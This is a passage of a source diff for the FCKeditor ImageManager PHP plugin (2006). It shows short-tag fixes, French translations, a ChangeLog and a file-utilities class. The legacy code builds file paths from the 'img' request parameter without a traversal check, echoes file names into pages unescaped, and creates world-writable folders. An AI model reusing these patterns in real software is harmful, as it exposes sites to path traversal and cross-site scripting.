+ // Revision: 1.0                   Date: 06/03/2005
++// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ // ================================================
+@@ -146,7 +147,8 @@
+                               im = FCK.CreateElement('IMG');                                  
+                       }
+-                      // set image attributes                         
++                      // set image attributes 
++                      setAttrib(im, "_fcksavedurl", param.f_url, true);                       
+                       setAttrib(im, 'src', param.f_url, true);                                
+                       setAttrib(im, 'alt', param.f_alt, true);
+                       setAttrib(im, 'title', param.f_title, true);
+@@ -174,7 +176,7 @@
+ // Version 3.0 developed by Mihai Bazon.
+ //   http://dynarch.com/mishoo
+ //
+-// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++// Id: dialog.js 26 2004-03-31 02:35:21Z Wei Zhuo 
+ // Though "Dialog" looks like an object, it isn't really an object.  Instead
+ // it's just namespace for protecting global symbols.
+diff -u -r /ImageManager_20062020/images.php ./images.php
+--- /ImageManager_20062020/images.php  2006-06-20 22:17:32.000000000 +0200
++++ ./images.php       2006-12-16 22:38:13.000000000 +0100
+@@ -1,8 +1,8 @@
+-<?
++<?php
+ /**
+  * Show a list of images in a long horizontal table.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+@@ -54,15 +54,15 @@
+       foreach($list as $entry => $file) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+-              <a href="javascript:;" onclick="selectImage('<? echo $file['relative'];?>', '<? echo $entry; ?>', <? echo $file['image'][0];?>, <? echo $file['image'][1]; ?>);"title="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"><img src="<? echo $manager->getThumbnail($file['relative']); ?>" alt="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"/></a>
++              <a href="javascript:;" onclick="selectImage('<?php echo $file['relative'];?>', '<?php echo $entry; ?>', <?php echo $file['image'][0];?>, <?php echo $file['image'][1]; ?>);"title="<?php echo $entry; ?> - <?php echo Files::formatSize($file['stat']['size']); ?>"><img src="<?php echo $manager->getThumbnail($file['relative']); ?>" alt="<?php echo $entry; ?> - <?php echo Files::formatSize($file['stat']['size']); ?>"/></a>
+               </td></tr><tr><td class="edit">
+-              <? if($IMConfig['allow_delete'] == true) { ?>
+-                      <a href="images.php?dir=<? echo $relative; ?>&amp;delf=<? echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<? echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+-              <? } ?>
+-                      <a href="javascript:;" title="Edit" onclick="editImage('<? echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>
+-              <? if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>
++              <?php if($IMConfig['allow_delete'] == true) { ?>
++                      <a href="images.php?dir=<?php echo $relative; ?>&amp;delf=<?php echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<?php echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
++              <?php } ?>
++                      <a href="javascript:;" title="Edit" onclick="editImage('<?php echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>
++              <?php if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>
+               </td></tr></table></td> 
+-        <? 
++        <?php 
+       }//foreach
+ }//function drawFiles
+@@ -77,14 +77,14 @@
+       foreach($list as $path => $dir) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+-              <a href="images.php?dir=<? echo rawurlencode($path); ?>" onclick="updateDir('<? echo $path; ?>')" title="<? echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<? echo $dir['entry']; ?>" /></a>
++              <a href="images.php?dir=<?php echo rawurlencode($path); ?>" onclick="updateDir('<?php echo $path; ?>')" title="<?php echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<?php echo $dir['entry']; ?>" /></a>
+               </td></tr><tr>
+               <td class="edit">
+-                      <a href="images.php?dir=<? echo $relative; ?>&amp;deld=<? echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<? echo $dir['entry']; ?>', <? echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+-                      <? echo $dir['entry']; ?>
++                      <a href="images.php?dir=<?php echo $relative; ?>&amp;deld=<?php echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<?php echo $dir['entry']; ?>', <?php echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
++                      <?php echo $dir['entry']; ?>
+               </td>
+               </tr></table></td>
+-        <? 
++        <?php 
+       } //foreach
+ }//function drawDirs
+@@ -100,7 +100,7 @@
+     <td class="noResult">No Images Found</td>
+   </tr>
+ </table>
+-<?    
++<?php 
+ }
+ /**
+@@ -111,10 +111,10 @@
+ ?>
+ <table width="100%">
+   <tr>
+-    <td class="error">Invalid base directory: <? echo $manager->config['base_dir']; ?></td>
++    <td class="error">Invalid base directory: <?php echo $manager->config['base_dir']; ?></td>
+   </tr>
+ </table>
+-<?    
++<?php 
+ }
+ ?>
+@@ -145,7 +145,7 @@
+               hideMessage();
+               var topDoc = window.top.document;
+-<? 
++<?php 
+       //we need to refesh the drop directory list
+       //save the current dir, delete all select options
+       //add the new list, re-select the saved dir.
+@@ -159,10 +159,10 @@
+               while(selection.length > 0)
+               {       selection.remove(0); }
+               
+-              selection.options[selection.length] = new Option("/","<? echo rawurlencode('/'); ?>");  
+-              <? foreach($dirs as $relative=>$fullpath) { ?>
+-              selection.options[selection.length] = new Option("<? echo $relative; ?>","<? echo rawurlencode($relative); ?>");                
+-              <? } ?>
++              selection.options[selection.length] = new Option("/","<?php echo rawurlencode('/'); ?>");       
++              <?php foreach($dirs as $relative=>$fullpath) { ?>
++              selection.options[selection.length] = new Option("<?php echo $relative; ?>","<?php echo rawurlencode($relative); ?>");          
++              <?php } ?>
+               
+               for(var i = 0; i < selection.length; i++)
+               {
+@@ -173,7 +173,7 @@
+                               break;
+                       }
+               }               
+-<? } ?>
++<?php } ?>
+       }       
+       function editImage(image) 
+@@ -196,14 +196,14 @@
+ </head>
+ <body>
+-<? if ($manager->isValidBase() == false) { drawErrorBase($manager); } 
++<?php if ($manager->isValidBase() == false) { drawErrorBase($manager); } 
+       elseif(count($list[0]) > 0 || count($list[1]) > 0) { ?>
+ <table>
+       <tr>
+-      <? drawDirs($list[0], $manager); ?>
+-      <? drawFiles($list[1], $manager); ?>
++      <?php drawDirs($list[0], $manager); ?>
++      <?php drawFiles($list[1], $manager); ?>
+       </tr>
+ </table>
+-<? } else { drawNoResults(); } ?>
++<?php } else { drawNoResults(); } ?>
+ </body>
+-</html>
+\ Pas de fin de ligne à la fin du fichier.
++</html>
+diff -u -r /ImageManager_20062020/lang/fr.js ./lang/fr.js
+--- /ImageManager_20062020/lang/fr.js  2006-06-20 22:17:46.000000000 +0200
++++ ./lang/fr.js       2006-12-17 12:46:48.000000000 +0100
+@@ -1,7 +1,8 @@
+ // I18N constants
+ // LANG: "fr", ENCODING: UTF-8
+-// Author: ?
++// Author: Thierry Bothorel (update)
++// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ // Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+ // FOR TRANSLATORS:
+@@ -86,19 +87,19 @@
+       "Padding:"                                                                              : "Espacement:",
+       "Border:"                                                                               : "Bordure:",
+       "Upload:"                                                                               : "Télétransmission:",
+-      "File name was changed into "           : "File name was changed into ", // not translated yet
+-      "start x coordinate"                                                    : "start x coordinate", // not translated yet
+-      "start y coordinate"                                                    : "start y coordinate", // not translated yet
++      "File name was changed into "           : "Le nom du fichier a été changé en ",
++      "start x coordinate"                                                    : "début coordonnée x",
++      "start y coordinate"                                                    : "début coordonnée y",
+       "height"                                                                                        : "hauteur",
+       "width"                                                                                 : "longueur",
+       "angle"                                                                                 : "angle",
+       "opacity"                                                                               : "opacité",
+-      "diagonal length"                                                       : "diagonal length", // not translated yet
+-      "Watermarking is disabled."                     : "Watermarking is disabled.", // not translated yet
+-      "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.", // not translated yet
++      "diagonal length"                                                       : "longueur diagonale",
++      "Watermarking is disabled."                     : "Filigranes désactivés.",
++      "No watermarks were found or all watermarks are to big for the target image."           : "Aucun filigrane trouvé ou tous les filigranes sont trop grands pour cette image.",
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Veuillez tout d'abord supprimer tous les fichiers et répertoires contenus",
+       "Invalid folder name, please choose another folder name."                                                                       : "Nom de répertoire invalide, veuillez choisir un autre nom",
+       "GIF format is not supported, image editing not supported."                                                             : "Format GIF non supporté, édition d'image non supportée",
+-      "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Please do not close the window while uploading a new image! If you do, the original image gets deleted!", // not translated yet
+-      "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." // not translated yet
+-};
+\ Pas de fin de ligne à la fin du fichier.
++      "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Ne FERMEZ PAS CETTE FENETRE pendant l'envoi d'une nouvelle image sinon l'image originale sera quand même supprimée !",
++      "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Erreur: Impossible d'actualiser la fenêtre de l'éditeur.\nL'image qui a été éditée et sauvegardée apparaitra toujours comme non modifiée !\nVeuillez sauvegarder et recharger le contenu de l'éditeur."
++};
+diff -u -r /ImageManager_20062020/manager.php ./manager.php
+--- /ImageManager_20062020/manager.php 2006-06-20 22:17:32.000000000 +0200
++++ ./manager.php      2006-12-17 15:57:17.000000000 +0100
+@@ -1,8 +1,8 @@
+-<?
++<?php
+ /**
+  * The main GUI for the ImageManager.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+@@ -24,11 +24,11 @@
+ <script type="text/javascript">
+ /*<![CDATA[*/
+-      var thumbdir = "<? echo $IMConfig['thumbnail_dir']; ?>";
+-      var base_url = "<? echo $manager->getBaseURL(); ?>";
+-      var server_name = "<? echo $IMConfig['server_name']; ?>";
++      var thumbdir = "<?php echo $IMConfig['thumbnail_dir']; ?>";
++      var base_url = "<?php echo $manager->getBaseURL(); ?>";
++      var server_name = "<?php echo $IMConfig['server_name']; ?>";
+-      window.resizeTo(600, 460);
++      window.resizeTo(900, 500);
+       if(window.opener.ImageManager && window.opener.ImageManager.I18N)
+       {
+@@ -71,14 +71,14 @@
+       <label for="dirPath">Directory</label>
+       <select name="dir" class="dirWidth" id="dirPath" onchange="updateDir(this)">
+       <option value="/">/</option>
+-<? foreach($dirs as $relative=>$fullpath) { ?>
+-              <option value="<? echo rawurlencode($relative); ?>"><? echo $relative; ?></option>
+-<? } ?>
++<?php foreach($dirs as $relative=>$fullpath) { ?>
++              <option value="<?php echo rawurlencode($relative); ?>"><?php echo $relative; ?></option>
++<?php } ?>
+       </select>
+       <a href="#" onclick="javascript: goUpDir();" title="Directory Up"><img src="img/btnFolderUp.gif" height="15" width="15" alt="Directory Up" /></a>
+-<? if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
++<?php if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
+       <a href="#" onclick="newFolder();" title="New Folder"><img src="img/btnFolderNew.gif" height="15" width="15" alt="New Folder" /></a>
+-<? } ?>
++<?php } ?>
+       <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+       <iframe src="images.php" name="imgManager" id="imgManager" class="imageFrame" scrolling="auto" title="Image Selection" frameborder="0"></iframe>
+ </div>
+@@ -105,7 +105,7 @@
+                       <td><input type="text" id="f_horiz" class="smallWidth" value="" /></td>
+               </tr>
+               <tr>
+-<? if($IMConfig['allow_upload'] == true) { ?>
++<?php if($IMConfig['allow_upload'] == true) { ?>
+                       <td align="right"><label for="upload">Upload</label></td>
+                       <td>
+                               <table cellpadding="0" cellspacing="0" border="0">
+@@ -115,9 +115,9 @@
+                   </tr>
+                 </table>
+                       </td>
+-<? } else { ?>
++<?php } else { ?>
+                       <td colspan="2"></td>
+-<? } ?>
++<?php } ?>
+                       <td align="right"><label for="f_align">Align</label></td>
+                       <td colspan="2">
+                               <select size="1" id="f_align"  title="Positioning of this image">
+@@ -155,4 +155,4 @@
+       <input type="hidden" id="f_file" name="f_file" />
+ </form>
+ </body>
+-</html>
+\ Pas de fin de ligne à la fin du fichier.
++</html>
+diff -u -r /ImageManager_20062020/thumbs.php ./thumbs.php
+--- /ImageManager_20062020/thumbs.php  2006-06-20 22:17:32.000000000 +0200
++++ ./thumbs.php       2006-12-16 22:38:13.000000000 +0100
+@@ -1,82 +1,82 @@
+-<?
++<?php
+ /**
+  * On the fly Thumbnail generation.
+  * Creates thumbnails given by thumbs.php?img=/relative/path/to/image.jpg
+  * relative to the base_dir given in config.inc.php
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+-require_once('config.inc.php');
+-require_once('Classes/ImageManager.php');
+-require_once('Classes/Thumbnail.php');
+-
+-//check for img parameter in the url
+-if(!isset($_GET['img']))
+-      exit();
+-
+-
+-$manager = new ImageManager($IMConfig);
+-
+-//get the image and the full path to the image
+-$image = rawurldecode($_GET['img']);
+-$fullpath = Files::makeFile($manager->getBaseDir(),$image);
+-
+-//not a file, so exit
+-if(!is_file($fullpath))
+-      exit();
+-
+-$imgInfo = @getImageSize($fullpath);
+-
+-//Not an image, send default thumbnail
+-if(!is_array($imgInfo))
+-{
+-      //show the default image, otherwise we quit!
+-      $default = $manager->getDefaultThumb();
+-      if($default)
+-      {
+-              header('Location: '.$default);
+-              exit();
+-      }
+-}
+-//if the image is less than the thumbnail dimensions
+-//send the original image as thumbnail
+-if ($imgInfo[0] <= $IMConfig['thumbnail_width']
+- && $imgInfo[1] <= $IMConfig['thumbnail_height'])
+- {
+-       header('Location: '.$manager->getFileURL($image));
+-       exit();
+- }
+-
+-//Check for thumbnails
+-$thumbnail = $manager->getThumbName($fullpath);
+-if(is_file($thumbnail))
+-{
+-      //if the thumbnail is newer, send it
+-      if(filemtime($thumbnail) >= filemtime($fullpath))
+-      {
+-              header('Location: '.$manager->getThumbURL($image));
+-              exit();
+-      }
+-}
+-
+-//creating thumbnails
+-$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
+-$thumbnailer->createThumbnail($fullpath, $thumbnail);
+-
+-//Check for NEW thumbnails
+-if(is_file($thumbnail))
+-{
+-      //send the new thumbnail
+-      header('Location: '.$manager->getThumbURL($image));
+-      exit();
+-}
+-else
+-{
+-      //show the default image, otherwise we quit!
+-      $default = $manager->getDefaultThumb();
++require_once('config.inc.php');
++require_once('Classes/ImageManager.php');
++require_once('Classes/Thumbnail.php');
++
++//check for img parameter in the url
++if(!isset($_GET['img']))
++      exit();
++
++
++$manager = new ImageManager($IMConfig);
++
++//get the image and the full path to the image
++$image = rawurldecode($_GET['img']);
++$fullpath = Files::makeFile($manager->getBaseDir(),$image);
++
++//not a file, so exit
++if(!is_file($fullpath))
++      exit();
++
++$imgInfo = @getImageSize($fullpath);
++
++//Not an image, send default thumbnail
++if(!is_array($imgInfo))
++{
++      //show the default image, otherwise we quit!
++      $default = $manager->getDefaultThumb();
++      if($default)
++      {
++              header('Location: '.$default);
++              exit();
++      }
++}
++//if the image is less than the thumbnail dimensions
++//send the original image as thumbnail
++if ($imgInfo[0] <= $IMConfig['thumbnail_width']
++ && $imgInfo[1] <= $IMConfig['thumbnail_height'])
++ {
++       header('Location: '.$manager->getFileURL($image));
++       exit();
++ }
++
++//Check for thumbnails
++$thumbnail = $manager->getThumbName($fullpath);
++if(is_file($thumbnail))
++{
++      //if the thumbnail is newer, send it
++      if(filemtime($thumbnail) >= filemtime($fullpath))
++      {
++              header('Location: '.$manager->getThumbURL($image));
++              exit();
++      }
++}
++
++//creating thumbnails
++$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
++$thumbnailer->createThumbnail($fullpath, $thumbnail);
++
++//Check for NEW thumbnails
++if(is_file($thumbnail))
++{
++      //send the new thumbnail
++      header('Location: '.$manager->getThumbURL($image));
++      exit();
++}
++else
++{
++      //show the default image, otherwise we quit!
++      $default = $manager->getDefaultThumb();
+       if($default)
+               header('Location: '.$default);
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
diff --git a/fckeditor/editor/plugins/ImageManager/ChangeLog b/fckeditor/editor/plugins/ImageManager/ChangeLog
new file mode 100755 (executable)
index 0000000..dff2a68
--- /dev/null
@@ -0,0 +1,156 @@
+2006-12-21  Thierry Bothorel
+
+       * Classes/ImageManager.php (1.4, Release-20061221): Bug fix:
+       missing include declaration Transform.php (PHP Fatal error:
+       Undefined class name 'image_transform' in ImageManager.php on line
+       436)
+
+2006-12-21  Thierry Bothorel
+
+       * Classes/ImageManager.php (1.3): Moved and extended contrain to
+       config size on upload to ImageManager.php (Paul
+       Moers<mail@saulmade.nl>)
+
+2006-12-21  Thierry Bothorel
+
+       * fckplugin.js (1.4, Release-20061221): Bug fix: When picking
+       another image in the manager and confirming, the image in the
+       editorArea changed, but the src attribute didn't. The attribute
+       '_fcksavedurl' needed to be set too. (Paul Moers<mail@saulmade.nl>)
+
+2006-12-20  Thierry Bothorel
+
+       * Classes/ImageEditor.php (1.3, Release-20061221,
+       Release-20061220): Bug fix: "PHP Notice:  Undefined property:
+       forcedNewName" if "allow_overwrite" is true in config.inc.php (Alan
+       Pinstein <apinstein@showcasere.com>).
+
+2006-12-20  Thierry Bothorel
+
+       * editorFrame.php (1.7, Release-20061221, Release-20061220): Bug
+       fix: watermarks trying to be loaded even if there are none defined
+       in config.inc.php (Undefined offset:  0) (Alan Pinstein
+       <apinstein@showcasere.com>).
+
+2006-12-19  Thierry Bothorel
+
+       * Classes/IM.php (1.2, Release-20061221, Release-20061220): Escape
+       shell arguments for ImageMagick driver (to prevent security
+       issues). (Alan Pinstein <apinstein@showcasere.com>)
+
+2006-12-19  Thierry Bothorel
+
+       * Classes/IM.php (1.1): initial Commit = Saulmade 20060620 version
+
+2006-12-19  Thierry Bothorel
+
+       * editorFrame.php (1.6): Bug fix: PHP warning when opening an image
+       for editing. (Alan Pinstein <apinstein@showcasere.com>
+
+2006-12-18  Thierry Bothorel
+
+       * editorFrame.php (1.5): Bug fix: "Editor hangs on any rotating"
+       and "editor displays ghost image overlay" if watermark images are
+       defined in config.inc.php AND any of these images are missing in
+       the destination folder.
+
+2006-12-17  Thierry Bothorel
+
+       * fckplugin.js (1.3, Release-20061220, Release-20061217): Restoring
+       Wei Zhuo Id
+
+2006-12-17  Thierry Bothorel
+
+       * manager.php (1.4, Release-20061221, Release-20061220,
+       Release-20061217): window upgraded to 900pix wide to display all
+       content with non english strings and FF 1.5.0.8
+
+2006-12-17  Thierry Bothorel
+
+       * config.inc.php (1.4, Release-20061221, Release-20061220,
+       Release-20061217): clean-up for release
+
+2006-12-17  Thierry Bothorel
+
+       * assets/editorFrame.js (1.2): File erroneously comitted
+
+2006-12-17  Thierry Bothorel
+
+       * editor.php (1.3, Release-20061221, Release-20061220,
+       Release-20061217): Bug fix: editor hangs displaying 'rotating' if
+       no rotate setting entered. Added default '0' angle value.
+
+2006-12-17  Thierry Bothorel
+
+       * editorFrame.php (1.4, Release-20061217): Bug fix: "tools not
+       displayed if action = flip".  "tools_flip block" does not exist
+
+2006-12-17  Thierry Bothorel
+
+       * assets/editorFrame.js (1.1, Saulmade-20060620): initial Commit =
+       Saulmade 20060620 version
+
+2006-12-17  Thierry Bothorel
+
+       * lang/fr.js (1.2, Release-20061221, Release-20061220,
+       Release-20061217): Added missing french translations
+
+2006-12-17  Thierry Bothorel
+
+       * lang/fr.js (1.1, Saulmade-20060620): initial Commit = Saulmade
+       20060620 version
+
+2006-12-17  Thierry Bothorel
+
+       * config.inc.php (1.3): Added a default "imageManager.png"
+       watermark image in /img/watermark/ so that at least on example
+       being provided with this plugin.
+
+2006-12-17  Thierry Bothorel
+
+       * img/watermark/imageManager.png (1.2, Release-20061221,
+       Release-20061220, Release-20061217), img/watermark/imageManager.png
+       (1.1): Ajout de l'image watermark par défaut (pour qu'il y ait au
+       moins un exemple dans le plugin à l'installation)
+
+2006-12-17  Thierry Bothorel
+
+       * editorFrame.php (1.3): - Bug fix: "syntax error, unexpected $end"
+       (no space after "php" in "<?php}") - Added ";" at the end of some
+       tiny php code insertions.
+
+2006-12-16  Thierry Bothorel
+
+       * manager.php (1.3): Bug fix: window too small with FF 1.5.08,
+       especially with non english strings
+
+2006-12-16  Thierry Bothorel
+
+       * config.inc.php (1.2), editorFrame.php (1.2), fckplugin.js (1.2),
+       images.php (1.2, Release-20061221, Release-20061220,
+       Release-20061217), manager.php (1.2), thumbs.php (1.2,
+       Release-20061221, Release-20061220, Release-20061217),
+       Classes/Files.php (1.2, Release-20061221, Release-20061220,
+       Release-20061217), Classes/ImageEditor.php (1.2, Release-20061217),
+       Classes/ImageManager.php (1.2, Release-20061220, Release-20061217),
+       Classes/Thumbnail.php (1.2, Release-20061221, Release-20061220,
+       Release-20061217), Classes/api.watermark.php (1.2,
+       Release-20061221, Release-20061220, Release-20061217) (utags:
+       Short-open-tag-off): Bug fix: plugin does not work with "php
+       short_open_tag=off"
+
+2006-12-16  Thierry Bothorel
+
+       * editor.php (1.2, Short-open-tag-off): - Bug fix: plugin does not
+       work with "php short_open_tag=off" - Bug fix: dirname($img) is not
+       valid with "php register_globals = Off" -> dirname($_GET['img'])
+
+2006-12-16  Thierry Bothorel
+
+       * config.inc.php (1.1), editor.php (1.1), editorFrame.php (1.1),
+       fckplugin.js (1.1), images.php (1.1), manager.php (1.1), thumbs.php
+       (1.1), Classes/Files.php (1.1), Classes/ImageEditor.php (1.1),
+       Classes/ImageManager.php (1.1), Classes/Thumbnail.php (1.1),
+       Classes/api.watermark.php (1.1) (utags: Saulmade-20060620): initial
+       Commit = Saulmade 20060620 version
+
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/Files.php b/fckeditor/editor/plugins/ImageManager/Classes/Files.php
new file mode 100755 (executable)
index 0000000..e0da2bc
--- /dev/null
@@ -0,0 +1,215 @@
+<?php
+/**
+ * File Utilities.
+ * @author Wei Zhuo
+ * @version $Id: Files.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+define('FILE_ERROR_NO_SOURCE', 100);
+define('FILE_ERROR_COPY_FAILED', 101);
+define('FILE_ERROR_DST_DIR_FAILED', 102);
+define('FILE_COPY_OK', 103);
+
+/**
+ * File Utilities
+ * @author Wei Zhuo
+ * @version $Id: Files.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ * @subpackage files
+ */
+class Files 
+{
+       
+       /**
+        * Copy a file from source to destination. If unique == true, then if
+        * the destination exists, it will be renamed by appending an increamenting 
+        * counting number.
+        * @param string $source where the file is from, full path to the files required
+        * @param string $destination_file name of the new file, just the filename
+        * @param string $destination_dir where the files, just the destination dir,
+        * e.g., /www/html/gallery/
+        * @param boolean $unique create unique destination file if true.
+        * @return string the new copied filename, else error if anything goes bad.
+        */
+       function copyFile($source, $destination_dir, $destination_file, $unique=true) 
+       {
+               if(!(file_exists($source) && is_file($source))) 
+                       return FILE_ERROR_NO_SOURCE;
+
+               $destination_dir = Files::fixPath($destination_dir);
+
+               if(!is_dir($destination_dir)) 
+                       Return FILE_ERROR_DST_DIR_FAILED;
+
+               $filename = Files::escape($destination_file);
+
+               if($unique) 
+               {
+                       $dotIndex = strrpos($destination_file, '.');
+                       $ext = '';
+                       if(is_int($dotIndex)) 
+                       {
+                               $ext = substr($destination_file, $dotIndex);
+                               $base = substr($destination_file, 0, $dotIndex);
+                       }
+                       $counter = 0;
+                       while(is_file($destination_dir.$filename)) 
+                       {
+                               $counter++;
+                               $filename = $base.'_'.$counter.$ext;
+                       }
+               }
+
+               if (!copy($source, $destination_dir.$filename))
+                       return FILE_ERROR_COPY_FAILED;
+               
+               //verify that it copied, new file must exists
+               if (is_file($destination_dir.$filename))
+                       Return $filename;
+               else
+                       return FILE_ERROR_COPY_FAILED;
+       }
+
+       /**
+        * Create a new folder.
+        * @param string $newFolder specifiy the full path of the new folder.
+        * @return boolean true if the new folder is created, false otherwise.
+        */
+       function createFolder($newFolder) 
+       {
+               mkdir ($newFolder, 0777);
+               return chmod($newFolder, 0777);
+       }
+
+
+       /**
+        * Escape the filenames, any non-word characters will be
+        * replaced by an underscore.
+        * @param string $filename the orginal filename
+        * @return string the escaped safe filename
+        */
+       function escape($filename) 
+       {
+               Return preg_replace('/[^\w\._]/', '_', $filename);
+       }
+
+       /**
+        * Delete a file.
+        * @param string $file file to be deleted
+        * @return boolean true if deleted, false otherwise.
+        */
+       function delFile($file) 
+       {
+               if(is_file($file)) 
+                       Return unlink($file);
+               else
+                       Return false;
+       }
+
+       /**
+        * Delete folder(s), can delete recursively.
+        * @param string $folder the folder to be deleted.
+        * @param boolean $recursive if true, all files and sub-directories
+        * are delete. If false, tries to delete the folder, can throw
+        * error if the directory is not empty.
+        * @return boolean true if deleted.
+        */
+       function delFolder($folder, $recursive=false) 
+       {
+               $deleted = true;
+               if($recursive) 
+               {
+                       $d = dir($folder);
+                       while (false !== ($entry = $d->read())) 
+                       {
+                               if ($entry != '.' && $entry != '..')
+                               {
+                                       $obj = Files::fixPath($folder).$entry;
+                                       //var_dump($obj);
+                                       if (is_file($obj))
+                                       {
+                                               $deleted &= Files::delFile($obj);                                       
+                                       }
+                                       else if(is_dir($obj))
+                                       {
+                                               $deleted &= Files::delFolder($obj, $recursive);
+                                       }
+                                       
+                               }
+                       }
+                       $d->close();
+
+               }
+
+               //$folder= $folder.'/thumbs';
+               //var_dump($folder);
+               if(is_dir($folder)) 
+                       $deleted &= rmdir($folder);
+               else
+                       $deleted &= false;
+
+               Return $deleted;
+       }
+
+       /**
+        * Append a / to the path if required.
+        * @param string $path the path
+        * @return string path with trailing /
+        */
+       function fixPath($path) 
+       {
+               //append a slash to the path if it doesn't exists.
+               if(!(substr($path,-1) == '/'))
+                       $path .= '/';
+               Return $path;
+       }
+
+       /**
+        * Concat two paths together. Basically $pathA+$pathB
+        * @param string $pathA path one
+        * @param string $pathB path two
+        * @return string a trailing slash combinded path.
+        */
+       function makePath($pathA, $pathB) 
+       {
+               $pathA = Files::fixPath($pathA);
+               if(substr($pathB,0,1)=='/')
+                       $pathB = substr($pathB,1);
+               Return Files::fixPath($pathA.$pathB);
+       }
+
+       /**
+        * Similar to makePath, but the second parameter
+        * is not only a path, it may contain say a file ending.
+        * @param string $pathA the leading path
+        * @param string $pathB the ending path with file
+        * @return string combined file path.
+        */
+       function makeFile($pathA, $pathB) 
+       {               
+               $pathA = Files::fixPath($pathA);
+               if(substr($pathB,0,1)=='/')
+                       $pathB = substr($pathB,1);
+               
+               Return $pathA.$pathB;
+       }
+
+       
+       /**
+        * Format the file size, limits to Mb.
+        * @param int $size the raw filesize
+        * @return string formated file size.
+        */
+       function formatSize($size) 
+       {
+               if($size < 1024) 
+                       return $size.' bytes';  
+               else if($size >= 1024 && $size < 1024*1024) 
+                       return sprintf('%01.2f',$size/1024.0).' Kb';    
+               else
+                       return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';     
+       }
+}
+
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/GD.php b/fckeditor/editor/plugins/ImageManager/Classes/GD.php
new file mode 100755 (executable)
index 0000000..6dbf60e
--- /dev/null
@@ -0,0 +1,508 @@
+<?php
+/***********************************************************************
+** Title.........:  GD Driver
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  GD.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+**/
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// |          Alan Knowles <alan@akbkhome.com>                            |
+// +----------------------------------------------------------------------+
+//
+//    Usage :
+//    $img    = new Image_Transform_GD();
+//    $angle  = -78;
